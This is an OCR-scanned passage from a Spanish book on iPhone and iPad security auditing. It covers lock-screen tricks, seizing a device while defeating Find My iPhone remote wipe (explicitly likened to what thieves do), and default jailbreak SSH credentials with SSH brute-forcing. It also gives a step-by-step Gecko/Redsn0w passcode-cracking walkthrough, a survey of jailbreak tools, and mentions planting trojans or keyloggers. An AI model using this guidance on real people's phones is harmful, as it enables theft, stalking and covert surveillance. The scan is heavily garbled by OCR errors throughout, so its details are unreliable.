e i _ 3.-Conector 4 .- Adaptador
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Imugen 02.30: Conectores y adaptadores para las pruebas de penresting. -

Mas acciones con el terminal bloqueado que pueden ser utiles

Por altimo, existen una seric dc acciones con el terminal bloqueado que pueden ufilizarse para casos
puntales. Tal vez no sean trucos de hacking. pero si sc va a hacer penfesting de iPhone o 1Pads,
entonces ¢l atacante debe tener soltura con su manejo. Estas son las acciones que se pueden hacer
sin poner el passcode y desbloquear el teléfono:

- Responder a una llamada de tcléfono: Si alguien llama se puede contestar (es el
funcionamiento normal de todos los teléfonos hoy en dia).
- Responder con llamada a una llamada perdida: La funcién se llama “Slide To Answer™,
y estd disponible en versiones iOS 3.X y superior. Si se visualizan los mensajes de llamadas
perdidas por pantalla se puede devolver la llamada sin desbloguear el terminal.

- Responder con mensaje: En i0S 6, en caso de que haya una llamada activa, se pucde
desplazar el scroll hacia arriba para enviar un mensaje al usuario que esté realizando la
llamada. Esto se puede desactivar desde las opciones de configuracion.

#RRechazar

\.Contestar

©n

Imagen U2.31: Responder con un mensajer
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Poner musica: Basta con pulsar dos veces al botoén de accién para acceder al panel de control de
la misica, lo que permile aclivar o desactivar el audio de la musica que esté oyendo 2l dueifio del
terminal. Un huen truco en caso de querer saber qué musica le gusta o si se desea escuchar la
grabacion que él esté escuchando.

- Silenciar una llamada entrante: Si no se quiere cancelar la llamada y que el emisor de la
misma detecte que no se ha querido contestar, es posible dar una vez al boton de bajar audio
y se desactivard el sonido de la llamada.

- Cancelar una llamada: Se hace con el botdn de apagado, pero el remitente detectard que
ha sido cancelada. /

- LUncender/Apagar la pantalla: La pantalla deshlogueada se apaga a los pocos segundos.
Sin embargo, tanto con el botén de accién como con el de encender/apagar el terminal, la
pantalla sc eneiende. Para apagarla hay que pulsar una vez en el botdn de encender/apagar.

- Poner en modo vibracion: Aunque sc pucde cambiar ¢l comportamiento de “la pestaia
lateral” de los iPhone 4, iPhone 48 o iPhene 5, por defecto su utilidad es para variar entre el
modo sileneio o no.

- Dxtraer la SIM para poder analizar el contenido de la misma con un dispositive de analisis
forense.

- Apagar/Encender el terminal: Si hay gue llevarse el terminal, y no se desea ser detectado
con los servicios de Find My iPhone, cnlonces cs necesario apagarlo antes de salir con €l
Después, antes de encenderlo hay que asegurarse de que no existe ninguna Wi-Fi cerca y
de haberle quitado la SIM al terminal. Esto es lo que hacen los ladrones y les funciona
perfectamente. Si se enciende ¢l terminal buscard conectarse a Internet, lo que permitird
descubrir qué redes Ji F7 esta buscando para conectarse (incluso si estin ocultas).

- Hurd reset: Se puede hacer un reinicio del terminal para forzar su apagado cuando se ha

quedado bloqueado. Para ello se deben pulsar durante unos segundos el botdn de accion y el
de encendido. Ll terminal recibird una orden de reinicio a nivel de hardware.

- Hacer fotografias en iOS 3 o superior: Como se ha explicado con anterioridad.
- Hacer capluras de pantalla del terminal: Aungue el terminal esté bloqueado sz pueden

hacer capturas de pantalla pulsando los botones de accidn y apagado. Es ilimilado ¢l nimcero

de capturas que se pueden hacer.
A |

El equipo pareado o el dispositive con Jailbreak

Antes de terminar, hay un tema importante a tener en cuenta. Durante todo este capitulo se supone
que ¢l alacante licne aceeso local al lerminal sin tener cerca un equipo pareado, es decir. un equipo
en el que el duefio haya conectado su terminal a {Tunes, para sincronizarlo.

Si el equipo se conecta, via Wi-I}, via cable, o via Bluetoath a un equipo con el que ha sido pareado
previamente, entonces, sin conocer el passcode sera posible acceder a toda la estructura de carpetas
con una aplicacion tipo iFunBox, tal y como puede verse en la siguiente imagen,
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sic comportamiento serd similar si el usuario ha realizado un proceso de Jailbreak, y ha dejado
s usuarios v contrasefias por defecto para que funcionen con OpensSld, lo que hard que no sea
Ecesario conocer ¢l passcode para poder acceder a todos los ficheros desde cualquicr sistema.

3. Creacion de un laboratorio

tn caso de que se deseen hacer pruchas con iPhone. ya sean las locales (que se han visto en cste
apitulo) o las que se van a describir a lo largo del presente libro, s necesario ser paciente e ir
leccionando los diferentes modelos con diferentes versiones. Por cada modelo hay que tener uno
on cada version del sisiema operativo que soporte, para disponer asi de una réplica exacta de To que
engz el dispositivo objetive del ataque.

1 versiones /Phone 4 con iOS hasta 4.3.4 cra posible ir guardando los SHSH firmados por dpple
cada version, esto obliga a tener versiones con Jailbreak para poder volver a dejar una version
mereta que interese, en un momento determinado. Herramientas como Tiny Umbrella sirven para
e proposito.

ara iPhone 4§ con iOS 5 v iPhone 5 con iOS esto no es tan sencillo ya que los SHSH de Apple ya
b valen, asi que lo ideal seria disponer de terminales de las diferentes scrics para tener “un poco de
07 y poder asi preparar la estrategia antes de Licmpo.

-

ay webs, como MucConverieres donde se pueden ir comprando versiones antiguas a buen precio.
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Nota: Antes de comprarlo, hay que comprobar el nimero de serie y el IMEI, para evitar
que pueda ser material robado y deje de funcionar a los pocos dias.

Por dltimo hay que disponer de los cables de conexion clésico y lightring, con todos los conectores
posibles, para poder asi utilizarlos en un determinado momento y, por supuesto, tener las llaves de
extraccion de SIM o clips necesarios.

para las auditorias de seguridad con dispositivos mdviles de Apple. Otras herramientas provechosas
pueden ser las tarjetas interposter para liberar un terminal de un operador o los extractores de datos

|
Alo largo del libro se iran mostrando mas herramientas de software y de hardware que serdn muy Gtiles
de las diferentes tarjetas SIM, para un hipotético analisis forense.

|
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Capitulo III
Jailbreak

Requisando el dispositivo

8 =l proceso de auditoria se ha determinado que hay que requisar el terminal porque hacen [ulta
datos gue hay cl mismo. Se requiere acceder a la informacion que estd almacenada en él. y por
o es necesario interceptar el dispositivo a un objetivo para hacerle un analisis forense en toda
. 0 para introducirle algiin troyano que permita espiar las acciones del usuario en remoto. En
iEfinitiva, hay que obtener el terminal.

cmbargo. csto que parece muy evidente puede que no sea lo mis recomendable. si no va a ser
sible acceder al terminal, y hasta que se liberen nucvas versiones de Jailbreak, llevarse un terminal
Bhone 5 0 iPhone 45 con iOS 6 sin conocer el passcode puede significar que no s¢ obtengan més
iios de los que se pueden sacar con los trucos de hacking locales explicados en el capitulo de
WPhone Local tricks™.

£ esos casos, la (inica opeidn que qucda es intentar averiguar el passcode previamente usando alguno
8¢ los trucos ya explicados. para luego poder hacer el andlisis del terminal con las herramientas que
% van a explicar a continuacién o requisar también un cquipo en el que Apple iTunes esté pareado
200 el terminal iPhone o iPad, ya que entonces el problema de acceder al Lerminal se reduciré al
sblema de acceder al equipo, va que si el terminal estd parcado es posible acceder sin conocer el
Wasscode a la estructura de ficheros.

Si por el contrario el terminal cs un iPhone 3GS. L il’hane 4 0 iPhone 45 con [0S 5.X, enlonces requisar
=l dispositivo es una buena opcién para poder sacar informacion jugosa de la auditoria mediante un
sndlisis forense, ya que para todos cllos cxiste 1a posibilidad de acceder al sistema de ficheros sin
pecesidad de conocer ¢l passcode. Para ello, se va a proceder con diferentes herramicntas que lleven

d analista a tener un control total del dispositivo y devolverlo al ducfio a gusto de aquel.

ina vez que se han decidido los objetivos a requisar, ya sea el terminal /08 y/o el equipo pareado
con Apple iTunes, es necesario tomar alguna proteccién extra. Los datos en un dispositivo iPhone
sustraido sc pueden perder por una mala manipulacién por parte del analista (hay que transportar
lempre el terminal de manera segura), o por un sistema de autodefensa del terminal, que basicamente
‘son dos:
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Find My iPhone: Esta herramienta permite al duefio de un terminal perdido enviar un
camando para que se horren todos los datos del dispositivo. Esta orden llega a través de
Internet y para evitar su efecto hay que bloquear cualquier conexidn a Internet del terminal.
Para ello hay que evitar la conexion a la red de telefonia, redes de datos GPRS o 3G. Es decir.
hay que quitarle la STM al terminal.

Ln segundo lugar hay que evitar que se conecte por medio de cualquicr red Wi-Fi en el
momento en que se vaya a encender el sistema, por lo que hay que intentar encenderlo y
manipularlo en una ubicacidn en la que no haya ninguna red Wi-Fi cerca, y si es necesario,

construir una caja /'araday como explican los miembros de Taddong en el libro de “Hacking
y seguridad en comunicaciones moviles”.

lmagen 03.01: Fundas Faradey para transportar terminales sin conectividad exterior,

Si no se dispone de una caja o funda Faraday, es recomendable dirigirse a una ubicacién
donde sc lengan monitorizadas las redes Wi-Fi, v utilizar alguna de las herramientas que
permitan conocer todas las que haya alrededor.

- Borrado de datos por numero de fallos en passcode: Ln el capitulo de iPhone Local
Tricks ya se menciond que hay una proteccion que borra los datos si el numero de fallos es
igual a 10. Si el analista no esta seguro de si esa opcion estd activada o no, se recomienda no
probar passcodes al azar.

Hay que tener en cuenta, en caso de haber tomado posesion también del equipo PC pareado que esto
mismo puede suceder con él. Existen herramientas de monitorizacién remota que realizan también
el borrado de datos de forma segura, como por gjemplo la popular aplicacion Prey, que puede que
arruinen todo el proceso de auditoria, o simplemente existan aplicaciones configuradas con servicios
en la nube que permitan localizar el equipo remotamente.

Ademés, antes de tomar el control de un ordenador. hay que tener presente que existen soluciones
de cifrado completo del mismo como BitLocker, TrueCrypt o FileVault, que evitarian el acceso al
sistema y por tanto el poder sacar provecho del pareo con el terminal iPhore o iPad.

Una vez que se dispone del dispositive asegurado y encendido en una ubicacion segura, y del equipo
que se ha decidido a interceptar, llega ¢l momento de tomar el control del terminal o evaluar las
opciones que quedan,
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2. Accediendo a los datos del sistema

‘Para acceder al terminal e inspeccionar el contenido del dispositivo v de las aplicaciones, como
la base de datos de los mensajes de Whaisapp, las cookies de sesion de las aplicaciones como
Facebook, Linkedin o cualquier otra, acceder 4 los datos de las llamadas de teléfono, o en definitiva
‘hacer un analisis forense del contenido de los datos existen varias alternativas que pueden utilizarse:

- Andlisis del backup de iOS en el equipo pareado: Este analisis se muestra en detalle en
¢l capitule de “XXanalisis forense del backup®.

- Andlisis forense del terminal desde el equipo pareado: Si se tiene control del equipo
parcado, sc¢ puede concelar ¢l terminal a él, y bien haciendo uso de herramientas como
il‘uniiox que permiten acceder a la estructura de ficheros o con soluciones profesionales
como :é&j&gen Forensic Suite,fextraer todos los datos. Para ello, lo mas facil es instalar estas
herramientas en ¢l cquipo parcado y hacer el trabajo de extraccion de datos y de analisis
desde el mismo.

- EI terminal tiene Jailbreak y OpenSSH: Si el usuario duefio del terminal habia hecho
Jailbreak al sistema, enlonees conviene probar a conectarse via OpenSSH con el usuario roof
con contrasefia alpine. Si esto no fuera posible hahria que probar otras opciones, ya que es
posible que el usuario haya fortificado su instalacion de UpenSSI/L.
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Para ello, primero hay que localizar el pucrto de OpenSSH, ya que este puede haber cambiado.
Por lo tanto el primer paso es realizar un esceneo de puertos con alguna herramienta como
Nmap para cslar seguro de en qué puerto esta el servidor OpenSS14, si es que estuviera.

Una vez localizado el servidor OpenSSH es necesario recordar que no solo estd el usuario reo?
con contrasefia alpine, sino que también es posible utilizar el usuario mnbi@f‘con contrasefia
doltigdya que tal vez se hayan cambiado las password de roof, pero no la de este usuario, que
aunque tiene muchos menos privilegios lambién permitird acceder a los datos de las apps.

En tltimo lugar. si se ha conseguido encontrar ¢l puerto, pere no las contraseiias, se puede
intentar un ataque de fuerza bruta o diccionario. En la configuracion de OpenSSH que se
realiza en el fichero Jefc/sshisshd_config se establece el nimero de intentos antes de “tirar
abajo la conexion” en el parametro MaxAuthTries. Fste parametro por defecto viens
comenlado, con lo que es posible probar hasta el infinito.

Imagen 03.03; Pardmetro MerduthTries de OvenSSH.

- Elterminal tiene passcode, no tienc Jailbreak, pero es un iPhone 3GS/4: En este caso
se puede intentar romper primeramente el passeode utilizando una herramicnla como Gecko
iPhone Toolkit para, una vez obtenido el passcode, conectarse al terminal ¥ acceder a todos
los datos con alguna de las allernativas presentadas, aungue la mas eficiente seria mediante
una herramienta de analisis forense profesional.

Se puede utilizar Gecko¥porque como ya se vera mas adelante se basa en un exploir que solo
funciona en los chips A4, por lo que no es factible usarlo en iPhone 45 o iPhone 5. Ademas
hay que tener en cuenta que es posible que el usuario, coma s¢ muestra en el capitulo de
iPhone Local Tricks, tenga un passcode demasiado complejo que no permita obtencrlo cn
tiempo qtil, para lo que habrd que evaluar otras alternativas.

El terminal tiene un passcode complejn, na tiene Jailbreak, pero cs un iPhone 3GS/4:
La (ltima opcion posible es utilizar un Jailbreak de BootKom, es decir, que se encucnira antes
del arranque completo del sistema, lo que permite explotar las vulnerabilidades sin necesidad
de conocer el passcode, y ejecutar programas en el terminal, como por ¢jemplo OpenSSH.
Esto st vera un poco mis adelante en este mismo capitulo.

- Tl terminal es un iPhone 48 o un iPhouc 5, ticne un passcode que no se ha podido
averiguar, no tiene Jailbreak y no se tiene un equipo pareado: Toca esperar hasta que
salga algin exploit de BootRem, que de momento no existe. Lo Gnico que se pucde hacer cs
no apagar el terminal, averiguar a qué redes Wi-Fi se esta conectando, y analizar el trafico
para ver si es posible acceder a alglin dato tal ¥ como como s¢ explica en el capitulo de
XXAtaques de red a iPhone.
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cando el passcode con Gecko iPhone Toolkit

Secko es una herramienta gratuita que funciona bajo Windows, y que se puedc descargar de varios
0s web. La herramienta basicamente realiza un ataque de fuerza bruta o diccionario al passcode de

S. En ¢l momento de escribir este libro, funciona solo con iPhone 3GS, iPhone 4 GSM, iPad 1,
Wod louch (2G, 3G v 4G).

El funcionamiento es muy simple, y consiste en dos pasos.

- Primer paso: Es necesario conocer el modelo exacto del terminal v la version exacla del
sistema operativo, para lo que se deben utilizar las técnicas descrilas en el capimilo de iPhone
Local Tricks. Sino se ha podido obtener la version de iOS exacta se puede intentar conectar
¢l terminal a una red Wi-Fi (analizando las redes que busca y creandole una Rogue AP) para
poder analizar las cabeceras User-4gent v saber exaclamentc la version.

Una vez que se tiene csa informacion, cuando se arranca la herramienta se hace clic en el
bolon Boor con el teléfono conectado v apagado. Para ello, hay que enchufar el terminal
encendido con el cable al equipo donde estda Gecko, v una vex concclado se apaga el
dispositivo. Esto dejara el terminal concetado fisicamente con el cable al ordenador pero con
¢l sistema aperativo apagado.

Una vez se haya dado al botdn Boot, Gecko iPhone Toolkil solicitara ¢l firmware original
acorde a la version de iOS que corre en el dispositivo, tal ¥ como se muestra en la siguiente
captura en la que el ataque se va a realizar sobre el passcode de un iPad.

Please choose Padl,l 5.01 JA405 Restore.ipsw

Imagen 03.04: Gecke iPhone Toolkit selicitando el firsware origingd de dpple.

Es necesario que cse firmware esté en el ordenador descargado para que pueda ser seleccionado
desde Gecko, por lo que habra que descargarlo previamente. Para localizar todo ¢l firmware
necesario para este tipo de ataques, lo mcjor ¢s utilivar una weh como k!:,_tp:f/vmw;getios.com,!
aunque también estin disponibles en las web de Apple. '

WWW .QQﬁOS.Com

iDevice: Modsl: 108

Fad =] [T-wirrse  [=] [301 =]

Imagen 02.02: Aspecto de la web getios.com: para descargar firmveares de i08.
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Una vez descargado y seleccionado el firmware correcto cn Gecke iPhone Toolkit,
automaticamente se abre la aplicacion Redsn(w, que viene incluida dentro de las herramientas
de Gecko. Esla herramienta es una herramienta de Jailbreak muy popular que se explicara un
poco més adelante para utilizarla de manera independiente.

Como se puede ver, iPhone Gecko Toolkit utilizara RedsnOw para lanzar el exploit de
BoorRom contra el dispositivo con el firmware original con alguna modificacion necesaria
introducida por Gecke para poder hacer el ataque de fuerza bruta y conseguir crackear el
passcode del dispositivo.

Para conseguir lanzar el ataque al passcode con Gecko iPhone Toolkit, desde RedsnOw habra
que realizar la tipica combinacion de teclas, de igual manera que cuando se haga un Jailhreak
al terminal, para entrar en modo DFU (Device Firmware Updare) y que Apple iTunes no de
error. Para eso hay que scguir detalladamente los pasos que indica la aplicacion y llevar bicn
la cuenta de los segundos. Todo esta explicado paso a paso en Redsn(hw.

Please make sure your device is both OFF and PLUGGED IN to the
computer

ifitis not off, plug the device into the computer FIRST. Then,
hold down the Power button (on the edge of the device) unti
“'Slide o Power Off appears, and then slide to power off.

Click next ONLY when your device is BOTH off and plugged in.

{If you already know how to anter DFU mode, you may do so
right now from this screen without didking next.)

<Badt|hlext>|mmgll

Imagen 03.06: Redsnth abierto de manera automatica e indicando que se debe hacer,

Una vez terminados los pasos. y entrado el dispositivo en modo DFU, comenzaré el ataque al
passcode, para lo que previamente se podrd visualizar un gran mensaje de OK en la pantalla
del terminal, y se habri terminado correctamente la primera fase del ataque.

Podria darse ¢l caso de que al realizar la combinacion de teclas esta no se realizasc
correctamente, o incluso que se aplicase de forma correcla pero un poco a destiempo. En
tal caso no habria ningan problema, ya que si el proceso no tuviera éxito a la primera, solo
se debe intentar de nuevo, volviendo a apagar el terminal estando conectado al ordenador y
comenzar desde el principio. Con un poco de préctica este proceso de poner el dispositivo en
modo DFU se podra realizar con los ojos cerrados v con un 100 % de éxito siempre.
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jowrnaled Mo checkimg perforsed.
to fc checking .
opening /dev/edb
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Imagen 03.07: Mensaje de OK que aparecerd en el terminal con iPhone Gecko Toolkit

- Segundo paso: Una vez que el proceso de Juilbreak ha finalizado, es momento de hacer
clic en el boton Launch de Gecko iPhone Toolkir. En ese momento comienza cl algoritmo
de crackeo, que puede tardar varios minutos dependiendo de Ju velocidad del dispositivo.
En un iPad 1 con codigo simple el tiempo necesario para obtener el passcode es de unos 20
minutes, pero finalmente aparece el passcode, tal como se aprecia en la siguicnte captura, en
la que se ha crakeado el passscode de un iPad I con iOS 5.0.1:

Step 1: Boot remdisk using recsnOw
liPad 1

Step 2: once redsnlw has finizhed oick Launch

Password rformation 1esd

Devics UDID : 1 AFdSha 756bdc 2d922d ba ThocO8 HOFdN 1a
Keybag: SIGH chedk FAIL
Keybag ULUID - 3493126615432 1032330222490
Saving ChUsers™JuanMivAppData'Locals Tempiocls \butsfores
(1 70FdGor 7 36bdc2d Bedha Tho:08 110F3d U 1a/4 71 1280012725000 plist
passcodeKevboardComplesdty - {rangeMinimum’; &, ‘value®: 0. TangeMaamum': 7}
Trying all 4-digits passcodes. .
BrteforceSystemKeyBag ; 0:09-09 524000
320, ‘passcodeKey” B33 6700 7lace 00564 72440 T492:d 3247 3108236 1 75850 /1 5ecad 768111
False

Kevbag type - System keybag ()

|

Cracking lock code

Imagen 03.08: Gecko despuds de crackear el passcode de un 1Pad 1.

Hay que recordar que si el terminal licne un passcode complejo este proceso puede alargarsc ¢
incluso no dar con €l cn un lempo Wtil, por lo que sera necesario evaluar otras alternativas a este
procedimicnto.
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3.:Qué es Jailbreak?

Realizar Jailbreak a un dispositivo iOS, es el proceso de romper el Code-Signing. que es esa medida
de seguridad que aplica Apple para que solo se puedan descargar, instalar y ejecutar aplicaciones
firmadas por una entidad certificadora de confianza, cuya raiz de certificacion provienc de la propia
Apple. Como se menciona en otros capitulos, acttia a modo de proteccién de seguridad, filtrando los
contenidos que se suben o se publican en la App Store, dificultando asf la propagacion o difusion de
malware y aplicaciones maliciosas.

Esta medida de seguridad, el Code-Signing, obliga a que todo el software deba ir firmado, por lo
que cualquier intento de instalacion o ejecucion, ya sca de una aplicacién, o de una pagina o codigo
proveniente de memoria. no es permitida, a menos que vaya firmada digitalmente por un certificado
que proceda de una entidad de confianza. Esto hace que infectarse sea complicado, pero teniendo en
cuenta que solo cuando dicha proteccion estd funcionando, por lo que el hecho de realizar Juilbreak
y romper dicha proteccién, entrafia una serie de riesgos, ya que gran parte de la seguridad del sistema
cae completamente.

Realizar un Jailbreak, no solo se rompe la proteccion de Code-Signing. mediante una serie de
modificaciones a nivel de kernel, y es posible ejecutar codigo sin firmar, sino que ademis es posible
tener un acceso completo el sistema de ficheros, y al sistema operativo, ya que realmente un Jailbreak
es una forma de escalada de privilegios.

Hacer un Jailbreak incide y mucho en la seguridad del dispositivo, aunque muchos usuarios
domésticos crean que realizar este proceso es solo para liberar ¢l terminal y poder instalar en iPhone
0 iPad aplicaciones no firmadas por Apple, como cxtensiones o fweaks, o temas que no estén
disponibles a través del canal de distribucion oficial del fabricante (la App Siore). o incluso el uso
que le dan muchos, que no es mas que descargar aplicaciones de pago de manera gratuita, utilizando
repositorios no oficiales. en donde se encuentran aplicaciones crackeadas, o dicho de otra manera,
apps a las que se las ha eliminado 1a proteccién o DRM.

En realidad, el Jailbreak es mucho mas importante para la comunidad de seguridad, que el hecho de
ahorrarse unos cuantos délares o curos, al instalar software sin pagar por él.

Tipos de Jailbreak

A lo largo de la historia del sistema operativo /S, los usuarios han realizado Jailbreak a sus
dispositivos, y en la mayoria de las versiones de i0S. Pero no todos los procesos de Jailbreak
han ofrecido el mismo conjunto de caracteristicas, y es que esto depende cn gran parte de las
posibilidades que ofrezca la vulnerabilidad de seguridad explotada para bypassear las restricciones
del dispositivo.

Una vez que las vulnerabilidades son explotadas, inmediatamente se hacen publicas, de manera que
son parcheadas cuanto antes por 4Apple (normalmente en la siguiente version de /OS) por lo que casi
en cada nueva version de /OS, es nceesario cncontrar nuevas vulnerabilidades. Es por ello que los
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autores de las soluciones de Jailbreal demandan colaboracion a la comunidad de investigadores. va
que cada nueva version s un nucvo reto.

Ademads, hay que tencr en cuenta, que algunas vulnerabilidades residen en la BootRom, por lo que
no cs posible parchearlas con actualizaciones software, sino que habri que revisar el hardware de
los terminales iPhone, iPad, etcétera. Esto hace gue se requicra un mavor tiempao para subsanarlas v
reemplazar los chips de los dispositivos.

Dependiendo del tipo de vulnerabilidad utilizada para desarrollarel Juifbreak, los efcctos de realizarlo
seran persistentes o desaparecerin en cuanto se reinicie el dispositivo, por lo que basicamente existen
dos tipos principales de Jailbreak:

- TetheredgFs un tipo de Jailbreak que desaparece cuando el dispositivo “rearranca” de
nuevo, por lo que se requiere realizar el proceso en cada nucvo arranque. Como este proceso
necesita que el terminal se concete con el cable TSR al ordenador para “rearrancar”, recibe
de ahf su nombre, que significa algo asi como “atado™, debido a la dependencia del cable.

- Untethered: Us un tipo de Jailbreak que no desaparcee cada vez que el dispositivo se
“rearranca”, Evidentemente es una mejor forma de Jailbreak para los usuarios que quieran
tener siempre ¢l (erminal en este estado. aunque también tiene el inconveniente de que es mas
dificil de conseguir, ya que requiere de vulnerabilidades especificas del sistema de arranque.

Histéricamente han existido vulncrabilidades muy potentes en el BootRom, pero a dia de hoy ya no
hay nada parceido desde que Apple sacd los dispositivos con chipset AS. Ahora los exploirs son una
combinacion de un fethered Jailbreak mas exploits adicionales, que permitan la persistencia en el
dispositivo.

El Tethered Jailbreak se utiliza para instalar los exploits adicionales en el sistema de ficheros. Esto
hace que sc requieran dos explaits como minimo, uno para ejecutar codigo arbitrario no firmado,
y otro para elevar privilegios y poder hacer el paich al kernel. Con lo cual, y una vez aclarado este
punto, se puede apreciar la dificultad de conseguir un Unthethered Jaifbreak, y se puede entender
el motivo por el que cada dia los investigadores tardan mas en liberar herramientas que realicen
Untethered Jailbreak.

Desde el punto de vista de un investigador de seguridad, un auditor o un analista torense, la
aplicacion de cada tipo de Jailbreak sera mejor para cada ocasion. En el caso de una auditoria de
seguridad donde solo se quiere acceder a los datos (también ¢n un andlisis forense) la explotacion
de un Tehered Juilbreak que permita acceder a los datos v luego dejar el dispositivo en su estado
original es quizis lo mas recomendable. Sin embargo, si lo que se quicre es instalar un malware o
un keyplogger. es necesario que el sistema siga funcionando después de cada reinicio, por lo que lo
deseable seria aplicar un Uniethered Jailbreak.

Hay que tener en cuenta que la mayoria de las herramientas de Jailbreak, primero permitian hacer
Tethered Jailbreak, y cuando se descubren los exploifs necesarios pasar a hacer Untethered Jailbreak.
Por lo tanto es posible que, si lo que sc desea es hacer un Jailbreak no persistente, se necesite una
version antigua de la herramienta.
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A dia de hoy, hay repositorios piblicos de lodas las versiones de todas las herramientas, asi que no
se deberia tener problemas en localizar una version que haga el Jailbreak que se necesite en cada
momento, Lo recomendable es crear un repositorio propio de software y mantener una copia de
Lodas las versiones de lodas las herramicnlas.

Herramientas de Jailbreak

Aunque las principales herramientas para hacer Jailbrealk son Redsntw, Evasiln v Absinthe, existen
olras herramientas para realizar un proceso de Jaidbreak. En este punto se van a recoger las versiones
de cada una de ellas, para que se sepa por cual es posible decidirse en cada caso. pero en caso
de dudas o si se necesita ir mas rapido, en Internet existen varios Wizards, que guian sobre qué
herramientas funcionan en cada dispositivo y version de iG3S, como por ejemplo .‘;f(.gﬂbwgk«_mm‘nﬁ?’
v iClarified.com/J: aifbﬁzﬁfr"

Es su Dispusilive de Apple Jailbr ble v/ o Desbi ble ?
Dispositivo: . Hmic_:!o_ i0s: Mudem: Plakaforma:
Phore =Bl [4 EE [ens =HE [- EE [ Wodows = E

Factery unlcck your iPhonz! Feviza tu Cispositive de Apple

OS Py

soo N

Imagen 03.09: Wizard de Jailbreak-me.info.

» JailbrcakMe: Fue ¢l proyeclo de Comex, y se basa en explotacidon mediante la visita con
el dispositivo a una pdgina web (hup:/www. JailbreakMe.com) que ataca al sistema y realiza
Untethered Jailbreal. La ultima version de este se estudia en profundidad en el capitulo de
JuilOwnMe. En todos los casos sc requicre gue la sesion esté abierta, por lo que es necesario
conocer previamente el passcode. Ha habido tres generaciones:

- JailbreakMe: Para sistemas /08 1.1.1 a {08 2.0

- JailbreakMe 2.0 (Star): Para sistemas i85 3.1.2 a 105 4.0.1. En la rama 3.x s¢ parcheo en

la versidn 3.2.2.

- JailbreakMe 3.0 (Saffron): Para iOS 4.3 a 4.33 v para iPhone 4 CDMA en versiones 4.2.6

ad.28.

» Absinthe: llerramienta para Jailbreak en dispositivos con chipset A3, es decir, funciona con
iPhone 4§ v con iPad 2 v soporta las versiones de /QS 5 a /OS 5.1.1. Requiere que el sistema
csté concelado a un sistema pareado o lener ¢l passcode del terminal antes de hacer el Jailbreak
para parearlo.

e Evasiln: Herramienta para hacer Jailbreak en dispositivos con (5 6 a 6.1.2. Se basa en los
exploits descubicrtos por los evad3rs. Sc requiere tener el passcode antes de hacer €l proceso de
Jailbreak, ya que los exploits se lanzan con iS5 arrancado.
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* Purpleraln: Herramienta de Juilbreak para iFhone 3GS con 108 3.0 creada por Geohor. No
requiere passcode.

» Blackraln: Evolucion de Purpleraln para ifhone 3G/3GS. Soporta iQ5 3.1, i08 3.1.1 e i0S
3.1.2. Na requiere passcode. También es de Geohot.

» Spirit: Creada por Geoho para todos los disposilivos con iOS 3.1.2 a i0S 3.2. llace Tehered
Juilbreak y requicre conocer el passcade y usar iTunes.

* Limeraln: Herramienta de Geohor que hace Tethered Jailbreak en dispositivos iPhone 35,
iPhane 4y iPad 1, usando un exploit de BootRom. Es ¢l exploit base para tados los Jailbreak de
terminales con chipsct Ad. No requiere passcode.

*  GreenPoisOn: Usa el exploit SHATter en el BootRom que Apple descubrid en el chip A5 anles
de sacarlo, lo que hubicra permitido hacer Jailbreak en todos los equipos con AS en arranque v
sin passcaode. Soporta iPad { (108 3.2.2), iPhone 3GS (105 4.1) y los iPhore 4 (i0S 4.1 a i0S
4.2.1). No requiere passcode y hace Tethered Jailbreak.

* Redsn0w: Es la herramienta de Jailhreak por cxcclencia para terminales if’hone 3GS,
iPhone 4 ¢ iPad 1, aunque a dia de hoy soporta el explait Corona para iPhone 48, iPud 2 0 iPad
3. Permite hacer teihered y Unthethered Juilbreak (dependiendo de las version de Redsnthe que
hay mas de 30) de /08 3 a iOS 5.1.1. En i08§ 6, permite hacer solo Tethered Jailbreak. Ln sus
primeras versiones se llamaba Quick’wn, pero le cambiaron el nombre rapidamente. Para saber
la versién exacta se necesita para hacer Untethered Jailbreak a una version de (S en conereto,
es posible consultar su ficha en iPhone Wiki: hitp://theiphonewiki com/wiki/RedsnOw

Desde el punto de vista de un auditor, si el terminal es un iPhone 3GS o tiens un chip A4 se puede
utilizar Redsnthe que no requiere el passcode y se podra hacer siempre un Jailbreak v acceder a los
datos. 51 el dispositivo es un iPhone 4S, un iPhone 3, un iPad 2, un iPad 3 o un iPad 4, habra que ir
a Absinthe o EvasiOn y se necesilard ¢l passcode para capturar los datos.

Adia de hoy, los sistemas i(S 6. 7. 3 no tienen Jailbreak asi que se cierran las opciones si el dispositivo
est4 en esa version v solo se podra acceder a los datos tenicndo ¢l passcode y pareando con él un
equipo con Apple iTunes.

- Herramientas de Jailbreak por DFU Pwnd

Existe un método de realizar Jailbreak alos dispositivos que hay que intentar evitar a la hora de hacer
una auditoria de seguridad o un analisis del dispositivo, es el /U Pwnd. Este método lo que hace
es construir un firmware concreto personalizado, con el Jaildreak ya realizado. Despuds, usando las
capacidades de Backup y Restore de Apple iTures sobrescribe ¢l sistema operativo anterior e instala
el nuevo con el proceso deJailbreak ya personalizado. Este tipo de ataques borraria todos las datos
que tuviera el terminal v haria que requisar el terminal no hubiera sido fructifero.

Lste método es util para aquellos usuarios que quieren instalar una version anterior del sistema
operativo y madificar ¢l firmware, pero no para obtener datos del terminal. [lerramientas populares
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de Jailbreak como Redsntw permiten este método cuando se quiere hacer un “Custom Firmware”,
pero hay otras que solo utilizan este mecanismo, como son SulhyBrecze o Pwnagelool.

El Unlock de un dispositive

Un término que se suele confundir mucho con ¢l de Jailbreak es ¢l de Unlock, que sc uliliza para
definir el proceso de liberacion de un dispositivo del bloqueo de operadora de comunicaciones.
Muchas operadoras que distribuyen terminales iPhone por medio de planes de permanencia, atan el
uso de ese il’hone 0 i’ad a tarjetas SIM solo de esa compafiia.

Romper esa atadura es lo que se conoce como Unlock, v todas las herramientas, como la popular
UltraSnOw, utilizan exploiis de vulnerabilidades encontradas en el firmware de la banda base del
modem del terminal. Para un proceso de auditoria ¢n el que se busque oblener datos de un sistema
o instalar un software de control remoto, las herramientas para realizar Unlock no serfan de mucha
utilidad.

[magen 03.10: SIM Inrerposter para hacer Unlock.

Coma informacion adicional, para la realizacion de Unloek a lerminales, exislen unas tarjetas
especiales. conocidas como S/M [nterposters. Estos chips se monran en la handeja destinada a Ta
SIM. y son un “man in the middle” ente la tarjeta SIM y el hardware de lectura de la SIM de los
terminales iPhone o iPad.

4. Realizar el Jailbreak

Fin este apartado se va a analizar cdmo se realiza el proceso de Juilbreak con algunas herramientas,
para que se pueda constatar como es el funcionamiente. T.as herramientas que sc van a ulilizar son
RedsnOw, Absithe v evsiOn.
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RedSnOw con un dispositivo can chip A4 e i0S 6

